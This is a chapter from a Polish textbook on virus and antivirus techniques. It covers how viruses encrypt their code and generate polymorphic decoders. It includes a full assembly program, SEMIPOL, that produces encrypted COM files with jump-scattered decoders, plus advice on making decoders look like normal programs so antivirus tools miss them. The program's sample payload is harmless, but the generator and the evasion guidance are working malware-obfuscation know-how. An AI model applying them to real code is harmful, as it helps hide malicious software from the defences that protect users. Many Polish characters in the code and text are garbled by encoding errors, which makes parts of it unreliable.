CATEGORII DOCUMENTE |
Bulgara | Ceha slovaca | Croata | Engleza | Estona | Finlandeza | Franceza |
Germana | Italiana | Letona | Lituaniana | Maghiara | Olandeza | Poloneza |
Sarba | Slovena | Spaniola | Suedeza | Turca | Ucraineana |
DOCUMENTE SIMILARE |
|
Inne mechanizmy stosowane przez wirusy
8.1. Procedury szyfrujące kod
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, odwracalnych operacji matematycznych lub logicznych, a więc:
> dodawanie - operacja ADD;
> odejmowanie - operacja SUB;
> suma modulo 2 - operacja XOR;
> negowanie arytmetyczne - operacja NEG;
> negowanie logiczne - operacja NOT;
> przesunięcie cykliczne w lewo - operacja ROL;
> przesunięcie cykliczne w prawo - operacja ROR.
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach matematycznych i logicznych.
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji szyfrujących, a następnie w pętli losuje:
> rodzaj operacji wykonywanej na argumencie;
> argumenty operacji;
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie
inne).
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.
8.2. Procedury dekodujące
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca wygląda następująco:
MOV CX, IleBajt≤w
MOV BX,Pocz╣tekDanychDoZakodowania
PΩtla:
XOR byte ptr [BX],12h
ADD byte ptr [BX],34h
NOT byte ptr [BX]
INC BX
to procedura dekodująca powinna wyglądać mniej więcej tak:
MOV CX, IleBajt≤w
MOV BX,Pocz╣tekDanychDoZakodowania
PΩtla:
NOT byte ptr [BX]
SUB byte ptr [BX],34h
XOR byte ptr [BX],12h
INC BX
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w dekoderze (oczywiście można zastosować także operację ADD z przeciwnym argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą zawsze zgodne ze schematem (dla poprzedniego przykładu):
MOV CX,IleBajt≤w
MOV BX,Pocz╣tekDanychDoZakodowania
PΩtla:
DEKODUJ [BX] DEKODUJ [BX]
DEKODUJ [BX]
INC BX
co dla nowoczesnych skanerów nie stanowi żadnej przeszkody
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować zmienne, polimorficzne procedury dekodujące.
8.2.1. Polimorficzne procedury dekodujące
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych procedur dekodujących.
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.
8.2.1.1. Semi-polimorfizm
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej sekwencji:
MOV licznik, IleDanych
MOV indeks, Pocz╣tekDanychDoZakodowania
PΩtla:
dekoduj_i [indeks]
DEKODUJ_2 [indeks]
DEKODUJ_N [indeks]
ADD indeks, przyrost
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych wariantów wirusa jest tak naprawdę bardzo ograniczona.
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR (kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/?
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób (bez dodawania losowych skoków pomiędzy instrukcjami).
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
SEMIPOL v1.0, Autor : Adam Blaszczyk 1997 ;
;
Program generuje pliki zakodowane semi-polimorficznie ;
(pomiedzy wlasciwe instrukcje dekodera sa wstawiane ;
przypadkowe rozkazy JUMP) ;
; Kompilacja : ;
TASM /m2 SEMIPOL.ASM ;
TLINK SEMIPOL.OBJ ;
;
SEMI_POL SEGMENT
ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL
NUL = 00h ;
TAB = 09h ;
LF = 0Ah ; stale znakowe
CR = 0Dh ; /
SPACE = 20h ; /
DOLAR = '$' ; /
RozmiarStosu equ 200h ; rozmiar stosu
DomyslnieIlePlikow = 10 ; domyslnie generuj 10 plikow
Start:
Call InicjujSystem ; ustaw zmienne programu
lea si,TeCopyRight ; wyswietl info o programie
Call Druk
Call WezParametry ; wez parametry z linii polecen
lea si,TeGenerator ; wyswietl info o dzialaniu
Call Druk
Call GenerowaniePlikow ; generuj pliki
mov ax,4C00h ; funkcja DOS - powrot do systemu
int 21h ; wywolaj funkcje
GenerowaniePlikow proc near ; procedura generuje pliki SEMI????.COM
push ds es ax bx cx dx si di ; zachowaj na stosie zmieniane rejestry
mov cx, LiczbaPlikow ; cx=ile plikow do wygenerowania
GenJedenPlik:
push cx ; zachowaj na stosie : ile plikow
lea si,AktualnaNazwaPliku ; wyswietl nazwe pliku
Call DrukLn ; /
lea dx,AktualnaNazwaPliku ; sprobuj otworzyc (tworzony) plik
mov ax,3D02h ; funkcja DOS - otworz plik
int 21h ; wywolaj funkcje
jnc WezUchwyt ; CF=0 plik juz istnial, nadpisz go
mov cx,20h ; atrybut pliku tworzonego : Archive
lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego pliku
mov ah,5Bh ; funkcja DOS - tworz plik
int 21h ; wywolaj funkcje
WezUchwyt:
mov UchwytPliku,ax ; zapamietaj uchwyt pliku
lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod do szyfrowania
lea di,BuforDocelowy ; ES:DI - dokad zapisywac zaszyfrowany kod
mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar szyfrowanego kodu
Call SemiPol
; CX:=Ile danych do zapisu
lea dx,BuforDocelowy ; skad zapisac dane
mov bx,UchwytPliku ; numer uchwytu
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje
Call ZwiekszNumerPliku ; SEMI(xxxx) -> SEMI(xxxx+1)
pop cx ; przywroc ze stosu : ile plikow
loop GenJedenPlik ; generuj CX plikow
pop di si dx cx bx ax es ds ; przywroc ze stosu zmieniane rejestry
ret ; powrot z procedury
GenerowaniePlikow endp
ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na SEMI(xxxx+1)
; operuje na lancuchu 'SEMIxxxx'
push cx si ; zachowaj na stosie zmieniane rejestry
mov cx,4 ; CX = ile max. obiegow petli = 4 cyfry
ZwiekszNumerPlikuPetla:
mov si,cx
dec si
inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca w SEMIxxxx
cmp byte ptr [AktNumPliku+si],'9'
; czy numer > 9 ?
jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z procedury
; wiekszy = uwzglednij przeniesienie
mov byte ptr [AktNumPliku+si],'0'
; cyfra : 9->0
loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj
ZwiekszNumerPlikuPowrot:
pop si cx ; przywroc ze stosu zmieniane rejestry
ret ; powrot z procedury
ZwiekszNumerPliku endp
WezParametry proc near ; pobiera parametry z PSP:80h
push ds ; zachowaj DS
mov di,DomyslnieIlePlikow ; DI=ile plikow wygenerowac
mov ds,PSP_Segment ; DS:=PSP
mov si,80h ; DS:SI=PSP:80
lodsw ; DS:SI=PSP:82, AX:=licznik znakow
or al,al ; czy sa jakies znaki w linii polecen ?
jz WezParametryPowrot ; nie = wyjdz z procedury
SzukajCyfry:
lodsb ; wez znak
cmp al,SPACE ; pomin spacje
je SzukajCyfry ; /
cmp al,TAB ; pomin tabulator
je SzukajCyfry ; /
mov bx,si ; zachowaj pozycje w lancuchu
SzukajCR: ; szukaj konca ciagu znakow
lodsb ; wez znak
cmp al,CR ; czy koniec lancucha ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,SPACE ; czy spacja ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,TAB ; czy tabulator ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,'0' ;
jb WezParametryPowrot ; czy znak w zakresie
; - '0'..'9'
cmp al,'9' ; / jezeli nie, to blad
ja WezParametryPowrot ; /
jmp short SzukajCR ; wez kolejny znak
LancuchNaLiczbe: ; konwersja lancucha na liczbe
mov cx,si ; wez koniec lancucha
sub cx,bx ; odejmij poczatek lancucha
jcxz WezParametryPowrot ; skocz, gdy nie ma czego konwertowac
cmp cx,4 ; czy liczba > 9999 ?
ja WezParametryPowrot ; skocz, jesli tak
mov bx,1 ; BX zawiera kolejne potegi 10
xor di,di ; DI zawiera aktualna sume
LancuchNaLiczbeLoop:
; znaki czytamy od konca
dec si ; SI:=SI-2
dec si ; /
lodsb ; pobierz znak
sub al,'0' ; konwertuj na liczbe z zakresu 0..9
mov ah,0 ; AX=AL
mul bx ; mnoz przez kolejna potege 10
add di,ax ; dodaj do sumy
mov ax,10 ; zwieksz potege 10
mul bx ; pomnoz 10*BX
xchg ax,bx ; BX:=10 do kolejnej potegi
; 1,10,100,1000
loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry
WezParametryPowrot: ; DI zawiera liczbe plikow
pop ds ; przywroc DS ze stosu
mov LiczbaPlikow,di ; przepisz do zmiennej
ret ; powrot z procedury
WezParametry endp
DrukLn proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI i dodaje Enter
push si ; SI sie zmienia, trzeba zachowac
Call Druk ; najpierw wyswietl tekst
lea si,TeCRLF ; a teraz dodaj CR,LF
Call Druk ; /
pop si ; przywroc SI
ret ; powrot z procedury
DrukLn endp
Druk proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI
push ax ; zachowaj zmieniane rejestry
push si ; /
DrukNastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz DrukPowrot ; tak=koniec napisu, wyjdz z petli
Call DrukZnak ; jezeli nie, to wyswietl (znak w AL)
jmp short DrukNastepnyZnak ; idz po nastepny znak
DrukPowrot: ; tekst wydrukowany
pop si ; przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
Druk endp
DrukZnak proc near ; procedura wyswietla znak w AL
push ax ; zachowaj zmieniany rejestr
mov ah,0Eh ; funkcja BIOS - wyswietl znak w AL
int 10h ; wywolaj funkcje
pop ax ; przywroc zmieniany rejestr
ret ; powrot z procedury
DrukZnak endp
InicjujSystem proc near ; ustawia stos, DS, ES itd.
pop bp ; zachowaj adres powrotu z procedury
; bo stos zostanie przeniesiony
mov CS:PSP_Segment,ds ; zapamietaj PSP
mov ax,cs ;
mov ds,ax ; - CS=DS=ES
mov es,ax ; /
mov ss,ax ; stos na koniec programu
lea sp,StosKoniec ; /
cld ; DF=1, zwiekszaj przy operacjach lancuchowych
jmp bp ; powrot z procedury
InicjujSystem endp
SemiPol:
push ax si di ; zachowaj na stosie zmieniane rejestry
shr cx,1 ; dlugosc/2 bo szyfrujemy slowa
inc cx ; dla pewnosci, ze wszystkie bajty zostana
; zaszyfrowane
mov Semi_IleDanych,cx ;
mov Semi_Skad,si ; - zachowaj dane
mov Semi_Dokad,di ; /
call PseudoLosowa ; wez przypadkowa liczbe
mov Semi_Losowa,ax ; bedzie jej uzywac szyfrator i deszyfrator
; szyfruj kod
lea di,TMPBufor ; gdzie zapisac szyfrowany kod
Szyfruj:
lodsw ; wez dana
add ax,Semi_Losowa ; szyfruj ja
stosw ; zapisz zaszyfrowana dana
loop Szyfruj ; powtarzaj szyfrowanie
; wpisz 'smieci' do bufora
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)
mov cx,256 ; CX:=AX:=ile slow zapisac (1..256)
Smietnik: ; wypelnianie
Call Pseudolosowa ; wez przypadkowa dana
stosw ; zapisz ja
loop Smietnik ; zapisz 'smieci' w buforze
; generuj procedure dekodera
;
; Dekoder ma nastepujaca postac :
;
; mov si,PoczatekDanych BE,????
; mov cx,IleDanych B9,????
; Petla:
; sub [si],Losowa 81,2C,????
; dec cx 49
; jz Koniec 74,??
; jmp Petla E9,????
; Koniec:
;
mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)
call LosowySkok ; wstaw losowy skok
mov al,0BEh ; DEKODER: mov si, ofset Poczaek
stosb ; BE,????
mov Semi_GdziePocz,di ; ofset bedzie wstawiony pozniej
stosw ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0B9h ; DEKODER: mov cx,IleDanych
stosb ; B9,????
mov ax,Semi_IleDanych ; wpisz, ile danych do odszyfrowania
stosw ;
call LosowySkok ; wstaw losowy skok
mov Semi_Petla,di ; DEKODER: sub [si],Losowa
mov ax,2C81h ; pierwsza czesc rozkazu
stosw
mov ax,Semi_Losowa ; zapisz wartosc dekodujaca
stosw ; zaszyfrowany program
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,49h ; DEKODER: dec cx
stosb
call LosowySkok ; wstaw losowy skok
mov al,74h ; DEKODER: JZ ??
stosb ; wstaw pierwsza czesc rozkazu
mov Semi_DokadJZ,di ; zostanie ustawione pozniej
stosb ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0E9h ; DEKODER: JNZ -> JMP z powrotem
stosb ; wstaw E9
mov ax,Semi_Petla ; oblicz ofset do DEKODER : Petla:
sub ax,di ;
sub ax,2 ; odejmij dlugosc operandu w E9,????
stosw ;
mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER : Koniec:
mov ax,di ; i wstaw go pod wczesniej zapamietany
sub ax,bx ; ofset
dec ax ; odejmij dlugosc operandu w 74,??
mov [bx],al ;
mov bx,Semi_GdziePocz ; oblicz ofset, gdzie zaczynaja
mov ax,di ; sie dane przeznaczone do deszyfrowania
sub ax,Semi_Dokad ; z uwzglednieneim ofsetu dla
add ax,100h ; pliku COM (ORG 100h)
mov [bx],ax ; i zapisz pod zapamietany adres
mov cx,Semi_IleDanych ; ile danych do kopiowania
lea si,TMPBufor ; pobieraj z bufora zawierajacego
rep movsw ; zaszyfrowany kod i kopiuj na koniec
mov cx,di ; oblicz, ile danych do zapisu, czyli
sub cx,Semi_Dokad ; wartosc zwracana przez procedure
pop di si ax ; przywroc zapamietane rejestry
ret ; powrot z procedury
LosowySkok: ; wstawia losowy skok
mov ax,15 ; zakres skokow 1..15
Call PseudolosowaAX ; losuj z zakresu 1..15
mov ah,al ;
mov al,0EBh ; AX=skok,EB
stosw ; zapisz EB,skok
mov al,ah ;
mov ah,0 ; AX:=AL=skok
add di,ax ; dodaj do di
ret ; powrot z procedury
Semi_IleDanych dw ? ; potrzebne do chwilowego
Semi_Skad dw ? ; - zachowania roznych wartosci
Semi_Dokad dw ? ; /
Semi_Losowa dw ? ; wartosc szyfrujaca kod
Semi_GdziePocz dw ? ; adresy do zmiennych nieznanych
Semi_Petla dw ? ; w momencie, kiedy sa potrzebne
Semi_DokadJZ dw ? ; / aby mozna bylo je pozniej
; / zmienic
PseudoZarodek dw ? ; aktualny zarodek generatora liczb
; / pseudolosowych
TMPBufor db 256 dup(?) ; rozmiar tymczasowego bufora
; - = 256 bajtow, (o rozmiarze co najmniej
; / rownym dlugosci kodu wirusa)
PseudoLosowa: ; generuje liczbe pseudolosowa
; z zakresu 1..65535
mov ax,0FFFFh
PseudoLosowaAX: ; przedzial w AX
push dx ; zachowaj na chwile DX
Call ZmienPseudoZarodek ; zmien zarodek
mul PseudoZarodek ; DX:AX:=przedzial*Zarodek
xchg ax,dx ; AX:=0..przedzial
inc ax ; pomin zero
pop dx ; przywroc DX ze stosu
ret
ZmienPseudoZarodek: ; zmienia PseudoZarodek
push ax ; zachowaj stary AX
in al,40h ; AL:=przypadkowa wartosc
xchg ah,al ; AH:=AL
in al,40h ; AX:=przypadkowa wartosc
xor ax,0ABCDh ; operacje pomocnicze
add ax,1234h ; operacje pomocnicze
mov PseudoZarodek,ax ; przepisz nowy zarodek
pop ax ; przywroc stary AX
ret ; powrot z procedury
Programik do zaszyfrowania wyswietlajacy komunikat ;
przy uzyciu 09/21 ;
RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset StartKoduPrzykladowego
StartKoduPrzykladowego:
call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu
TrikCALL_POP:
pop si ; wez relatywny ofset, gdzie kod jest w pamieci
mov dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3
add dx,si ; DX:=ofset do tekstu (relatywny)
mov ah,9 ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje
int 20h ; powrot do DOS (program typu COM)
TePrzyklad db CR,LF ; tekst do wyswietlenia
db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]'
db DOLAR
KoniecKoduPrzykladowego:
TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997',
db CR,LF,NUL
TeGenerator db CR,LF,'Czekaj, generuje plik(i) ',CR,LF,NUL
AktualnaNazwaPliku db 'SEMI'
AktNumPliku db '0001'
db '.COM',NUL
TeCRLF db CR,LF,NUL
PSP_Segment dw ?
UchwytPliku dw ?
LiczbaPlikow dw ?
BuforDocelowy db 4096 dup(?)
StosStart db RozmiarStosu dup(?)
StosKoniec:
SEMI_POL ENDS
END Start
8.2.1.2. Pełny polimorfizm
Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:
LICZNIK:=IleDanych
INDEX:=Pocz╣tekZaszyfrowanegoKodu
FOR I:=1 to Licznik do begin
DEKODUJ_1 DANŃ [INDEX]
DEKODUJ_2 DANA [INDEX]
DEKODUJ_N DANA [INDEX]
INDEX:=INDEX + PRZYROST ;
end;
Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:
> indeks;
> licznik;
> kierunek zwiększania licznika;
> kierunek dekodowania;
> rodzaj używanych instrukcji (8086, 80286 itd.).
Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, (E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.
Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], [BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.
Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich użytkowych rejestrów procesora.
Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, czy też maleje od tej wartości do zera.
Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu lecz niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą być wybierane losowo).
O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy uwzględnić jak największą ilość rozkazów procesora.
Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze Jest to, aby rozkazy te:
> nie zamazywały dowolnie nie używanej przez siebie pamięci;
> nie zawieszały komputera;
> nie powodowały generowania wyjątków;
> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP oraz rejestrów stanowiących indeks i licznik).
Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych instrukcji przywrócić jego oryginalną zawartość.
Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi antywirusowemu).
Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała fragment typowych programów komputerowych, stąd też wskazane jest używanie w generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową aplikacją.
Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze (AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).
Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).
Korzystając z operacji działających w pamięci na argumentach typu word i dword nie wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne naruszenie mechanizmów ochrony).
Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, która właściwie ustawiła bit DF.
Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie odpowiednich zamienników (działających
tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi przykładami mogą tu być także poniższe operacje zerujące rejestr CX:
MOV CX,0 ; najbardziej trywialne zerowanie rejestru CX
XOR CX,CX ; operacja XOR na tych samych operandach zeruje je
SUB CX,CX ; odejmij CX od CX, w efekcie CX=0
AND CX,0 ; iloczyn logiczny z zerem jest zerem
ZerujCX: ; po wykonaniu pΩtli LOOP ZerujCX
; rejestr CX bΩdzie r≤wny O
MOV CX,XYZ ; wpisz do rejstru CX warto£µ
SUB CX,XYZ ; i potem j╣ od niego odejmij
MOV REJ16,0 ; zeruj jaki£ rejestr 16-bitowy
MOV CX,REJl6 ; i za jego pomoc╣ zeruj rejestr CX
XOR CL,CL ; kombinacje powy┐szych operacji dla rejestr≤w 8-bitowych SUB CH,CH ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX
Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.
Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. zamiast jednej instrukq'i ADD [INDEX],???? użyć:
CLC ADC [INDEX], ????
SUB [INDEX],-????
MOV REJ,????
ADD [INDEX],REJ
Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura dekodująca powinna mieć postać podobną do poniższej sekwencji:
. ; wype│niacz
inicjuj rejestr - licznik lub indeks
; wype│niacz
inicjuj rejestr - indeks lub licznik
. ; wype│niacz
pierwsza instrukcja dekodera
. ; wype│niacz
druga instrukcja dekodera
. ; wype│niacz
n-ta instrukcja dekodera
; wype│niacz
sprawdzenie warunku zako±czenia pΩtli
. ; wype│niacz
skok, je┐eli warunek spe│niony
. ; wype│niacz
w│a£ciwy, zaszyfrowany
kod wirusa, do kt≤rego
zostanie przekazane
sterowanie po rozkodowaniu
. ; wype│niacz
Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy antywirusowe.
Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.
Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 (kierując się ich przydatnością do wykorzystania w generatorze).
Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji wykorzystywanych przez języki wysokiego poziomu
